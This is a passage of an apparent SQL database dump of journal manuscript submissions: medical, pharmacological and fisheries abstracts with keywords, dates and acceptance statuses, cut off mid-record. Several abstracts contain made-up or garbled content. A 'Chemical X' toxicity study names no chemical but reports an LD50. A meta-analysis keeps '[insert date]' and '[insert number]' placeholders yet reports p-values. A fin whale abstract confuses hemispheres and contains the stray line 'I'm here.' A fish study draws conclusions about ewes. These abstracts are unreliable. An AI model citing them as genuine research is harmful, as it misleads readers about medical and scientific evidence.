scenarios related to the value chain of an organization based on its intangible assets. A documentary study was carried out with a non-probabilistic selection of sources indexed to repositories such as Dialnet , Latindex, Redalyc and Scielo , considering the year of publication and relationship between the concepts of organization and human capital. There are lines of research around empathy, trust, commitment, satisfaction and happiness as inherent factors of human capital as an intellectual asset of an organization.','Organization, human capital, intangible asset, model, specification.',5388,NULL,'2023-04-25',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13730,13865,667,0,'iptb-23-13730','Precision Medicine in the Treatment of Metastatic Breast Cancer',NULL,19,0,'','This case report article presents a patient with metastatic breast cancer who received precision medicine treatment based on molecular profiling of her tumor. The patient had a mutation in the PIK3CA gene, which was targeted with a precision medicine drug called alpelisib. After three months of treatment, the patient\'s tumor had significantly reduced in size, and there was no evidence of cancer spreading to other parts of the body. This case highlights the potential of precision medicine in improving cancer treatment outcomes by tailoring treatments to individual patients based on their unique genetic makeup. Further research is needed to optimize the use of precision medicine in cancer treatment.','precision medicine, cancer, metastatic breast cancer, molecular profiling, genetic mutation, PIK3CA gene, alpelisib, personalized treatment.',3933,NULL,'2023-04-26',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13731,13866,667,0,'iptb-23-13731','Nanotechnology: Revolutionizing Science and Engineering',NULL,2,0,'','Nanotechnology is a rapidly growing field of science and engineering that involves the manipulation of matter at the nanoscale level. The unique properties of nanoparticles at this scale make them suitable for various applications, including medicine, electronics, energy, and materials science. Nanoparticles can be used for targeted drug delivery, imaging, and therapy, and to develop more effective and efficient diagnostic tools. In the electronics industry, nanotechnology has enabled the development of smaller and more powerful electronic devices, while in materials science, it has led to the development of new materials with unique properties. Despite the numerous potential benefits of nanotechnology, there are concerns regarding its safety and impact on the environment. Therefore, appropriate safety measures need to be in place to ensure the safe and responsible development of nanotechnology. This includes identifying and assessing potential risks, developing regulations and guidelines, monitoring and testing methods, and promoting collaboration between researchers, industry, and regulatory agencies.','',3933,NULL,'2023-04-26',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13732,13867,667,0,'iptb-23-13732','Disease Mechanisms Understanding the Roots of Illness',NULL,19,0,'','This article discusses the importance of understanding disease mechanisms in the field of medical science. Disease mechanisms refer to the complex biological processes that give rise to illness, involving factors such as genetics, environmental exposures, lifestyle factors, and interactions between various biological systems. By identifying the underlying biological processes that lead to disease, researchers can develop targeted therapies that address specific pathways or molecules involved in disease progression, as well as prevention efforts. The article highlights the role of genetics, environmental factors, lifestyle factors, and interactions between different biological systems in disease mechanisms, and provides examples of targeted therapies developed based on this understanding. Overall, understanding disease mechanisms is essential for improving our ability to diagnose, treat, and prevent a wide range of diseases.','Disease mechanisms; Genetics; Environmental factors; Lifestyle factors; Biological systems; Targeted therapies; Prevention; Medical science.',3322,NULL,'2023-04-26',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13733,13868,667,0,'iptb-23-13733','Biomarkers the Power of Molecules in Modern Medicine',NULL,15,0,'','Biomarkers are molecules or substances found in the body that can be used to indicate a particular physiological or pathological process. They are used to diagnose diseases, monitor treatment response, and predict disease progression or recurrence. Biomarkers have become an important tool in modern medicine, allowing for earlier detection and more personalized treatment of diseases. This article discusses the different types of biomarkers and their uses, as well as the limitations of their use. With continued research and development, biomarkers are likely to become even more important in the future of medicine.','Biomarkers, diagnosis, treatment, disease progression, personalized medicine.',4686,NULL,'2023-04-26',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Acepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13734,13869,667,0,'iptb-23-13734','Regenerative Medicine the Future of Medical Treatment',NULL,15,0,'','Regenerative medicine is an emerging field of medical treatment that focuses on the restoration of damaged, diseased, or injured tissue using the body\'s natural healing mechanisms. This article discusses the principles of regenerative medicine and the approaches used to enhance the body\'s natural healing abilities, including stem cell therapy, tissue engineering, and gene therapy. Stem cell therapy involves the transplantation of stem cells into the body to replace or regenerate damaged tissues or organs. Tissue engineering involves the creation of new tissues or organs using a combination of cells, scaffolds, and growth factors. Gene therapy involves the insertion of a healthy gene into the body to replace a defective or missing gene. The potential of regenerative medicine to revolutionize medical treatment and improve the quality of life for millions of people worldwide is immense. However, much research is needed to fully understand its potential and limitations.','Regenerative medicines, restoration, damaged tissue, stem cell therapy, tissue engineering, gene therapy, natural healing mechanisms, transplantation, scaffolds, growth factors, genetic diseases, medical treatment.',3933,NULL,'2023-04-26',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13735,13870,91,0,'ijddr-23-13735','Design and Evaluation of Artocarpus heterophyllus Incorporated Herbal Effervescent Granules',NULL,14,0,'','The jackfruit, or Artocarpus heterophyllus Lam., is a tropical climacteric fruit that is a member of the Moraceae family. The jackfruit is full of nutrients, some of the phytochemicals are proanthocyanidin, flavonoids, and artemisinin. The jack fruits, leaves, and bark, have been extensively utilized in traditional medicine because of their anticarcinogenic, anti-inflammatory, and hypoglycemic benefits. The present study was undertaken to formulate and evaluate the effervescent granules content of Artocarpus heterophyllus extract. Three batches of effervescent granules were prepared from which batch II was found to give good flow properties. The phytochemicals found in jackfruit extract were proanthocyanidin, flavonoids, polyphenols, and the creation of a new solvent system for thin-layer chromatography of methanolic (jackfruit) extract. Methanolic extract of jackfruit shows an Rf value of 0.38 by using a 70:30 ratio of Acetone to n-hexane. FTIR and UV spectroscopy and several post-formulation tests were used to identify the primary ingredient present in both extract and effervescent granules. The results revealed that the extract has the highest concentration of proanthocyanidin, flavonoids, and phenolic components, and the ?max was found to be at 278nm. Moreover, FTIR studies revealed that the extract from Artocarpus heterophyllous has no chemical interactions with the other substances.','Artocarpus heterophyllus, effervescent granules, citric: tartaric: sodium bicarbonate (1:2:4), methanolic extract.',5455,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13736,13871,86,0,'ipaom-23-13736','Advancing therapeutics: Innovations and approaches for treating diseases and disorders',NULL,11,0,'','  ','Therapeutics, Medicine, Pharmaceuticals',5013,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13737,13872,86,0,'ipaom-23-13737','Demystifying pathology: Understanding the science behind disease diagnosis',NULL,19,0,'','Pathology, a vital field of medicine, plays a critical role in the diagnosis, prognosis, and treatment of diseases. Pathologists are medical doctors who specialize in the study of diseases and their effects on the human body. Through the examination of tissues, cells, and body fluids, pathologists provide valuable insights into the nature and characteristics of diseases, helping clinicians make informed decisions about patient care. In this article, we will delve into the fascinating world of pathology, uncovering the science behind disease diagnosis.','Pathology, Treatment, Tissues',5013,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13738,13873,86,0,'ipaom-23-13738','Respiratory medicine: Understanding and treating respiratory diseases',NULL,3,0,'',' ','Respiratory medicine, Pulmonology, Respiratory System',3411,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13739,13874,86,0,'ipaom-23-13739','The vital role of dermatology in skin health and well-being',NULL,12,0,'','     ','Dermatology, Epidermis, Diagnosis',5013,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13740,13875,86,0,'ipaom-23-13740','Unveiling the science of pharmacology: Exploring drugs and their effects',NULL,19,0,'','Pharmacology is the scientific study of drugs and their effects on living organisms. It encompasses a wide range of disciplines, including chemistry, biochemistry, physiology, and genetics, and plays a crucial role in modern medicine. Pharmacologists investigate how drugs interact with biological systems, from the molecular level to the whole organism, to better understand their mechanisms of action, therapeutic uses, and potential side effects. In this article, we will explore the fascinating field of pharmacology, its history, key concepts, and applications in clinical practice.','Pharmacology, Drugs, Pharmacokinetics',5013,NULL,'2023-04-27',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13741,13876,91,0,'ijddr-23-13741','Process Variable Studies for the Preparation of Optimized Drug Delivery System Using Central Composite Design',NULL,14,0,'','This research work aimed to study process variable studies for the tasteless drug resin complex of Propranolol hydrochloride and Kyron-T 314. The effect of different parameters such as swelling time, stirring time, pH, Temperature, drug resin ratio, as well as resin activation, was optimized by taste and percentage of drug loading. The formulation DRC (Drug Resin Complex) was characterized by Infrared Spectroscopy. Differential Scanning Colorimetry, and X-ray Diffraction Pattern. Tablets were formulated by the Direct Compression method with Hydroxypropyl methylcellulose (HPMC) as a binder. Sodium Starch Glycolate (SSG) and Kyron-T 314 as a super disintegration. In these batches, optimum hardness was achieved but disintegration time was found to be 30 Seconds, so further trials were planned by using different super disintegrants such as Sodium starch glycolate and Kyron-T 314 by direct compression method. Tablets formulated with 10% Kyron-T 314 showed comparatively low disintegration time (30 Sec), wetting time (26 Sec), and Friability (0.7%) than the other batches. In the present study, we optimized the conditions require for maximum drug loading of Propranolol hydrochloride and Kyron-T 314. Among different super disintegrants, Kyron-T 314 was found suitable with the Drug resin complex to get the low disintegration time, wetting time, and friability of tablets. Hence, optimized DRC batches were formulated by proper balancing of the concentration of independent variables to attain desired dependent response using 32 CCD. Thus, 32 CCD is an efficient tool in optimization experiments.','Ion exchange resin, Central composite design, drug resin complex, propranolol hydrochloride, Kyron T-314.',5407,NULL,'2023-04-30',NULL,'Submitted',2,NULL,'2023-06-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13742,13877,45,0,'iphsj-23-13742','Blood Arsenic contamination causing Breast Cancer Risk in Exposed Population of Bihar',NULL,14,0,'','Groundwater arsenic poisoning in the recent times has posed serious health hazards to human beings. After the long-term exposure to arsenic, it has also caused disease of cancer in them. Breast cancer is the disease, which has become a fast-growing disease in the women in the present times. The exposed population are posed to hormonal imbalance due to arsenic poisoning which causes breast carcinogenesis. \r\nIn the present study, n=203 women subjects were voluntarily selected for breast cancer study and their blood samples were collected for arsenic estimation by Atomic Absorption Spectrophotometer against the control female subjects n=100. \r\nThe study reveals that there is significant elevation in the blood arsenic concentration in the breast cancer patients. Out of n=203, female breast cancer patients, n=148 subject’s blood had significant blood arsenic concentration (72%), while n-55 subject’s blood arsenic concentration in normal levels (28%). The maximum arsenic concentration observed in the breast cancer patient was 1620μg/L, which is very significant. Moreover, the control female subjects didn’t have any significant blood arsenic concentration, as only n=03 subjects had very mild increased blood arsenic concentration.\r\nIn the state of Bihar, the exposed women population due to prolonged arsenic poisoning develop hormonal imbalance in their body. Due to elevated estrogen hormone, there is significant stress on the other regulated hormones such as prolactin. This elevated prolactin for long duration causes formation of lumps in the breast. The untreated breast lumps causes inflammation in the breast lobules, which in long duration time of 10-15 years gets converted into to malignant, which is the major cause of the breast carcinogenesis. Hence, the elevated arsenic levels is associated with the linkage between arsenic and breast cancer carcinogenesis.','Breast Cancer; blood arsenic contamination; Gangetic plains; hormonal imbalance.',5375,NULL,'2023-05-02',NULL,'Submitted',2,NULL,'2023-05-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,1,NULL,0),(13743,13880,639,0,'ipfs-23-13743','Surveys of Fishermen are a Useful Technique for Determining How Fishing Impacts Sensitive Seas ',NULL,2,0,'','Bycatch in fisheries is considered one of the main threats to sea turtles. His 483 interviews were conducted with fishermen at 19 ports along Gabes Bay and Hammamet to obtain an updated assessment of the impact of bycatch on loggerhead turtles in Tunisia. Interview questions included data on vessel and gear characteristics, monthly catch, and monthly sea turtle bycatch over the past year. The result showed that sea turtle bycatch per unit effort (BPUE) was highest at Einette. 95 turtles/ship/day) followed suit. % CI [0-4.23]) and shark nets (0.4 turtles/container/day, 95% CI [0-2.12]). However, the cumulative impact of trawl fishing was the highest, with an estimated 11,740 (95% CI [0–41,525.75]) turtles caught annually in Tunisia, due to the high trawl catch. Factors affecting bycatch risk were gear characteristics (net mesh size, longline hook size, trawling vertical opening), season, and location. These factors will guide mitigation studies. Interviews with fishermen have proven to be a cost-effective approach to rapidly assess interactions between sea turtles and fisheries in Tunisia.','sustainable fisheries; bycatch; vulnerable species; Mediterranean Sea; Africa',1771,NULL,'2023-05-05',NULL,'Submitted',2,NULL,'2023-05-16',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13744,13879,639,0,'ipfs-23-13744','Fish Species Composition in the Hemisphere with Temporal Evolutionary Variation',NULL,17,0,'','The fish sisalus was not hunted sustainably around the world during the 19th and 20th centuries, resulting in a significant decline in populations. Whaling records demonstrate the importance of Antarctic waters to this species. About 730,000 fin whales were caught in the Northern Hemisphere alone in the 20th century, 94% of them in high latitudes. Genetic samples from modern whales can provide insight into past population changes, but sampling challenges in remote Antarctic waters limit data availability. Here we assess the pre-whaling diversity of this once abundant species using historical specimens in the form of bones and whiskers available from former whaling stations and museums. We sequenced 27 historical fin whale Evolutionary and 50 historical mitochondrial regulatory region sequences to gain insight into the population structure and genetic diversity of Northern Hemisphere fin whales (SHFW) before and after whaling. Our data, both alone and in combination with the literature mitogenome, suggest that SHFWs are highly diverse and may represent a single panic population that is genetically distinct from northern hemisphere populations. I\'m here. These are the first historical metagenomes available in SHFW and provide unique chronological genetic data for this species.','population structure; genomic analysis; ancient DNA',1776,NULL,'2023-05-05',NULL,'Submitted',2,NULL,'2023-05-16',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13746,13880,639,0,'ipfs-23-13746','Adiponectin Affects Fish Development Under Different Circadian Rhythm Conditions',NULL,17,0,'','Adiponectin is an adipokine that has pleiotropic effects on many physiological processes, including the activity of the hypothalamic-pituitary-growth hormone (HPS) axis, and plays an important role in regulating mammalian metabolism. Adiponectin insensitivity/resistance is a pathological condition in humans but a physiological adaptation in seasonal animals. The aim of this study was to determine the effect of adiponectin on HPS axis activity. Two in vivo experiments, performed during short- and long-day photoperiods, were performed with 12 he fish per experiment, and the fish were randomly divided into two he groups. Arcuate nucleus, paraventricular nucleus, anterior pituitary (AP) tissue and blood were collected. Growth hormone (GH) concentrations in blood were measured, and the relative expression of GHRH, SST, GHRHR, SSTR1, SSTR2, SSTR3, SSTR5, LEPR, and GH was determined in collected brain structures. This study showed that the photoperiod, and thus adiponectin sensitivity, plays an important role in regulating her HPS axis activity in seasonal ewes. However, adiponectin seasonally affects her GH release and its action appears to target the post-transcriptional stages of her GH secretion.','Adiponectin; growth hormone; photoperiod; Adiponectin receptor',1776,NULL,'2023-05-05',NULL,'Submitted',2,NULL,'2023-05-16',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13747,13878,639,0,'','Bacterial Ecosystems Linked with Grown Shellfish Variation and modifications','',2,2,'','Shellfish (Crassostrea gigas) are farmed on a large scale in China\'s highly economical marine aquaculture. However, in recent years, there have been frequent mass deaths of farmed oysters due to diseases and environmental disturbances (such as high temperatures). To analyze potential links between microbes and cultured oyster mortality, we used high-throughput sequencing to compare the dynamics of bacterial and protist communities in oysters at different growth stages. As a result, it was found that the microbial community of cultured oysters changed significantly and differed greatly from wild oysters and environmental microbes. The number of biomarker taxa between farmed oysters and their environment gradually decreased as the oysters grew. During the cultured oyster mass extinction, the abundance of ecologically functional genes in the microbial community changed and the inter-microbial correlations disappeared. These results add to our understanding of the microbial community dynamics of cultured oysters at different growth stages and characterize the interactions between microorganisms during mass mortality in cultured oysters. Our research will help promote healthy oyster farming.','pacific oyster; bacteria; protists; different growth phases; mass death',1776,'','2023-05-05',NULL,'Submitted',4,0,'2023-08-08','',1,0,'0','',0,'','',0,0,0,0,NULL,0),(13748,13882,326,0,NULL,'In Reconstructive Sinus Surgery, the Sinus Ostium Gets Enlarged Using Image Assistance',NULL,25,0,'','Examine the effectiveness and safety of using a stiff, image-guided balloon during revision sinus surgery. Materials and procedures a multicenter, prospective, single-arm, non-randomized trial to evaluate the safety and effectiveness of the NuVent EM Balloon Sinus Dilation System. Adults with CRS who required revision sinus surgery were included for frontal, sphenoid, or maxillary sinus balloon dilatation. The capacity of the device to locate and enlarge tissue in people with scarred, granulated, or previously surgically changed tissue was the main device performance endpoint. The evaluation of any operational adverse events directly due to the device or for which direct causation could not be established was included in the safety outcomes. A follow-up endoscopy was done 14 days after the last therapy to evaluate The use of balloons to widen the sinuses and restore drainage is frequently used during sinus surgery with satisfactory effectiveness and characterised as minimal risk, whether as a stand-alone therapy or in conjunction with functional endoscopic sinus surgery. ','Computed tomography, Sinus, Functional endoscopic sinus surgery, Anatomy, Complications',5413,NULL,'2023-05-09',NULL,'Submitted',4,NULL,'2023-05-20',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13749,13883,326,0,'IPJUS-23-13749','A Case Report and Study Review on Applying the Passot Technique in the Surgical Treatment of Severe Gynecomastia',NULL,5,0,'','Teenagers\' gynecomastia is becoming a significant cosmetic and physiological problem, particularly in the context of obesity, abrupt weight reduction following surgery, and other endocrine disorders. Surgery may involve nipple-conserving subcutaneous mastectomies with liposuction, power- or ultrasound-assisted mastectomies, or nipple transpositions using a variety of methods. In order to address the persistent problem of unsightly scarring, which manifests as obvious scar hypertrophy and nipple necrosis, various methods of nipple transposition have been developed, ranging from free grafts to pedicled flaps. In this case report, we call attention to an antiquated procedure that was used mostly for reduction mammoplasty on female patients back in the day and was first published by Passot in 1925. We would like to emphasise that this technique is still not utilised in gynecomastia surgery as commonly as the Wise pattern mastopexy procedure. that by employing this method and avoiding a vertical scar, patients with Simon IIB/III and ptotic gynecomastia would have superior cosmetic results. ','Reduction mammoplasty; Gynecomastia; Inferior pedicle; Nipple transposition',5413,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-20',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13750,13884,326,0,'IPJUS-23-13750','An Adult Presenting With Gynecomastia and Primary Infertility Had Bilateral Congenital Cryptorchidism and a Unilateral Leydig Cell Cancer, As Per a Case Study',NULL,5,0,'','Greeting and significance: Men commonly develop spontaneous tumours called testicular neoplasms. Neoplasms associated with sex cord stromal tumours are also the rarest subset of them. The most prevalent type of testicular stromal tumours are leydig cell tumours. In our situation, cryptorchidism was the underlying risk factor linked to the growth of Leydig cell tumours. Although usually unilateral, occurrences of bilateral cryptorchidism may exist and have very occasionally been documented. Presentation of a case We are reporting on a 36-year-old male who has been unable to have sex for the previous two years without having trouble getting an erection when stimulated. He had left orchidopexy 20 years prior due to a history of left undescended testis from birth. an ultrasonogram  a heterogeneous oval hypoechoic mass in the right mid-inguinal canal on the pelvis. Relevant blood tests revealed an abnormal hormonal profile. After that, he underwent a right radical orchiectomy without incident; the histology revealed a Leydig cell tumour. Clinical conversation: Rarely have reports been made of bilateral cryptorchidism in LCT. The clinical presentation, treatment, and additional follow-up in this case are highlighted. Long-term follow-up is necessary for these patients since bilateral congenital cryptorchidism may be linked to Leydig cell tumour years later in life. These tumours may appear differently clinically depending on the person. Any physical changes, hormonal tests, and imaging investigations should be immediately investigated for potential surgical resection and strict supervision.','Leydig cell tumor; Bilateral congenital cryptorchidism; Gynecomastia; Infertility; Testicular neoplasm',5413,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-20',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13751,13885,326,0,'IPJUS-23-13751','After Scoliosis Surgery, What Risks Are Associated With Postpartum Systemic Inflammatory Response Syndrome in Young Individuals with Developmental Disabilities',NULL,5,0,'','Postsurgical critical care unit patients are known to experience complications from systemic inflammatory response syndrome. The majority of cerebral palsy patients who receive posterior spinal fusion for neuromuscular scoliosis exhibit SIRS in the intensive care unit, according to our observations. Literature on the effects of intraoperative causes of postoperative SIRS and subsequent effects in these individuals is scarce. The goal of the study was to better understand the risk factors for SIRS in children undergoing PSF for neuromuscular scoliosis. Children who had PSF for neuromuscular scoliosis were included in this retrospective, case-control study. Patients with tracheotomy, osteogenesis imperfecta, and idiopathic scoliosis were eliminated. Depending on whether SIRS had been identified in the intensive care unit, the subjects were split into two study groups. To pinpoint factors, descriptive statistical analysis was employed. In order to further assess the independent and substantial influence of these parameters on SIRS, a regression analysis was utilised. The demographic and other preoperative characteristics did not significantly differ. However, the SIRS group received considerably more blood products overall than the non-SIRS group. When compared to the non-SIRS group, the percentage of patients who remained intubated was higher in the SIRS group. According to the regression model, patients who were not extubated had a 7.467-fold higher chance of developing SIRS than those who had been extubated. Patients who were not extubated at the conclusion of PSF surgery have a considerably greater incidence of SIRS. Additional prospective studies are required to examine the elements that hinder extubation. these individuals following their operation Cerebral palsy patients undergoing posterior spinal fusion for neuromuscular scoliosis frequently have serious co-morbidities include seizures, chronic lung disease, poor nutrition, and recurrent UTIs. ','Scoliosis; Neuromuscular; Systemic inflammatory response syndrome; Spinal fusion; Postoperative extubation; Children',5413,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-20',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13752,13886,326,0,'IPJUS-23-13752','Adolescent Idiopathic Scoliosis Surgery Utilising Concave Apical Translation and Simultaneous Convex Apical Derotation: A Technical Note and Case Series',NULL,5,0,'','The effectiveness of pedicle screws in adolescent idiopathic scoliosis surgery is still up for dispute. The surgeon element and the correction technique, in addition to the implant, are crucial for the quality of the treatment. This study\'s objectives were to provide the simultaneous convex apical derotation and concave apical translation approach employing polyaxial pedicle screws and to report the radiography results. Materials and Techniques The study included consecutive AIS patients who had surgery appointments. Cobb angle, apical vertebral translation, thoracic kyphosis, and apical vertebral rotation were among the radiographic parameters that were measured before and after surgery. In plain radiography, coronal plane characteristics were measured. The computed tomography scan\'s sagittal and axial plane characteristics were measured. The density of implants was calculated. ','Adolescent idiopathic scoliosis; Apical vertebral rotation; Implant density; Translation; Vertebral derotation',5413,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-20',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13753,13790,981,0,'ipft-23-13753','Advancements in Pharmacological Screenings: Techniques, Technologies, and Applications for Drug Discovery',NULL,3,0,'','Pharmacological screenings play a critical role in drug discovery and development. These screenings involve the testing of large libraries of compounds to identify potential therapeutic candidates for various diseases. In this manuscript, we review the different types of pharmacological screenings, their advantages and limitations, and their applications in drug discovery. We also discuss the various techniques and technologies used in pharmacological screenings, including high-throughput screening and virtual screening. Finally, we highlight some recent advancement in the field of pharmacological screenings and their potential impact on drug discovery.','pharmacological screenings, drug discovery, high-throughput screening, virtual screening, compound libraries.',5438,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13754,13790,981,0,'ipft-23-13754','Designing Drug Compositions for Improved Therapeutic Outcomes: A Review of Current Strategies',NULL,5,0,'','The development of new drugs and drug combinations is a constantly evolving process aimed at improving the efficacy and safety of therapies for a variety of diseases. In this review, we discuss the current strategies used in designing drug compositions to enhance therapeutic outcomes. We provide an overview of the principles of drug combination therapy and explore the advantages and challenges of different approaches, including fixed-dose combinations, sequential administration, and co-drug delivery. We also examine recent advances in drug design that allow for more precise control of drug release and delivery, such as nanotechnology and targeted drug delivery systems. Finally, we discuss the importance of considering drug-drug interactions and the potential for adverse effects when designing drug compositions. Overall, the review highlights the need for continued research and development in drug composition design to improve patient outcomes and address the challenges of complex diseases.','drug composition, combination therapy, fixed-dose combinations, sequential administration, co-drug delivery, nanotechnology, targeted drug delivery, drug-drug interactions',5438,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13755,13792,981,0,'ipft-23-13755','Investigating the Toxicity of Chemical X: A Chemical Toxicology Study',NULL,3,0,'','Chemical X is a widely used chemical in various industries, but concerns have been raised about its potential toxicity to human health and the environment. In this study, we investigated the toxicity of Chemical X using in vitro and in vivo experiments. We found that Chemical X exhibited dose-dependent cytotoxicity in human cell lines and caused liver and kidney toxicity in rats. The LD50 value of 500 mg/kg indicates that Chemical X is moderately toxic and requires caution in its handling and use. Further studies are needed to investigate the mechanisms underlying the toxicity of Chemical X and its potential effects on human health and the environment.','Chemical X, toxicity, cytotoxicity, LD50, in vitro, in vivo, liver toxicity, kidney toxicity.',5438,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-11',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13756,13793,981,0,'ipft-23-13756','Pharmacotherapeutics: Principles, Applications, and Challenges',NULL,5,0,'','Pharmacotherapeutics is the use of drugs to treat diseases and manage symptoms. It involves a combination of pharmacology and therapeutics to ensure safe and effective use of medications. This article provides an overview of pharmacotherapeutics, including the principles of drug action, drug development, and clinical applications. We also discuss the challenges associated with pharmacotherapeutics, including adverse drug reactions and drug interactions. The aim of this article is to provide a comprehensive understanding of pharmacotherapeutics to healthcare professionals.','pharmacotherapeutics, drugs, drug development, clinical applications, adverse drug reactions, drug interactions.',5438,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13757,13796,981,0,'ipft-23-13757','Toxicological Studies: Evaluating the Potential Harmful Effects of Chemicals and Ensuring Safety',NULL,11,0,'','Toxicological studies are necessary for evaluating the potential harmful effects of chemicals and other substances on living organisms. These studies encompass a range of methods and techniques, including in vitro and in vivo studies, acute and chronic evaluations, and risk assessments. The information generated from these studies is essential for regulatory agencies, industry, and consumers to ensure the safety of products and the environment. This short communication provides a brief overview of the key elements of toxicological studies, including toxicity testing, risk assessment, and toxicity data.','Toxicology, toxicity testing, risk assessment, toxicity data, regulatory agencies, industry, living organisms, acute and chronic evaluations, bioaccumulation, persistence.',5438,NULL,'2023-05-09',NULL,'Submitted',2,NULL,'2023-05-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13760,13889,45,0,'iphsj-23-13760','INVIVO AND INVITRO STUDIES ON CHEMOPROTECTIVE EFFICACY OF RESVERATROL IN BREAST CANCER',NULL,15,0,'','ABSTRACT\r\nThe review was aimed to evaluate the effects of Doxorubicin, Rapamycin, Tamoxifen, Pacilitaxel, Herceptin and Didox with chemoprotective effect by resveratrol. The treatment with the antioxidant resveratrol in combination with the anti-cancer drugs, showed Resveratrol is one of the proven antioxidant which can be given with the anticancer drugs during chemotherapy to prevent damage to the normal cells. The beneficial effects when administered in different concentrations with anticancer drugs to breast cancer cells were well studied.\r\n','Doxorubicin, Rapamycin, Tamoxifen, Pacilitaxel, Herceptin, and Resveratrol.',5375,NULL,'2023-05-11',NULL,'Submitted',2,NULL,'2023-05-25',NULL,1,1,'1','Accept',0,'','',NULL,0,0,1,NULL,0),(13761,13890,45,0,'iphsj-23-13761','The Effect and Perspective of Applied Medical Science College Students on E-Learning in Umm Al-Qura University in 2021 (COVID-19 Time)',NULL,14,3,'','Background:\r\nCovid-19 the pandemic that struck the world in 2019 has affected every aspect of our lives, economy, education, and many more aspects changing the course of our lives. In light of that, the government has issued a closure of a lot of activities and the educational one affects the whole community, this study’s aim to look into how the shift from the traditional face-to-face method of teaching (E-learning), has affected students of the Faculty of medical science in Umm Al-Qura University.\r\nMethod: a cross-sectional study was the method of choice, a questionnaire made through google forms has been made and sent through WhatsApp to the leaders of every group in every specialty of the Faculty of applied medical science at Umm Al-Qura University.\r\nResults: over 259 students applied to the questionnaire, and 66 of them were excluded for being outside of the study sample group, for a total of 193 participants, and we concluded that the shift to E-Learning might have been challenging but it also had its pros and cons, be it an improvement in students lives such as more free time, less stress and anxiety or the disadvantages such as laziness because of the free time or the lack of understanding of educational material.\r\nConclusion: E-learning is very new to most people and medical students have accepted and adapted to it mostly very well, and while they faced challenges they also got the best out of it, as they preferred if it will be the future method used in education, this represents a significant and promising potential for the future of medical education.','Covid-19, E-learning, Effect and perspective, Community, Education',5388,NULL,'2023-05-12',NULL,'Submitted',2,NULL,'2023-05-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13762,13891,326,0,'IPJUS-23-13762','Facial Rejuvenation Using Autologous Fat Transfer: A Systematic Review and Meta-Analysis',NULL,5,0,'','This systematic review and meta-analysis aimed to evaluate the efficacy and safety of facial rejuvenation using autologous fat transfer. A comprehensive search of electronic databases was conducted to identify relevant studies published up to [insert date]. Studies that reported on the use of autologous fat transfer for facial rejuvenation were included. Data extraction and quality assessment were performed independently by two reviewers. Pooled effect estimates were calculated using random-effects models, and heterogeneity was assessed using the I2 statistic. A total of [insert number] studies met the inclusion criteria and were included in the analysis. The pooled results demonstrated a significant improvement in facial volume restoration and reduction of wrinkles and fine lines following autologous fat transfer (p<0.001). Subgroup analysis revealed that the technique was effective across different age groups and anatomical regions. However, the procedure was associated with a higher risk of temporary swelling and bruising (p=0.021), while serious complications were rare. This systematic review and meta-analysis provide evidence supporting the efficacy of autologous fat transfer for facial rejuvenation. The procedure demonstrates favorable outcomes in terms of volume restoration and wrinkle reduction. Although temporary swelling and bruising are common adverse effects, serious complications are rare. Further long-term studies with standardized outcome measures are needed to establish the long-term efficacy and safety profile of this technique.','Facial Rejuvenation; Autologous Fat Transfer; Systematic Review; Meta-Analysis; Volume Restoration; Wrinkle 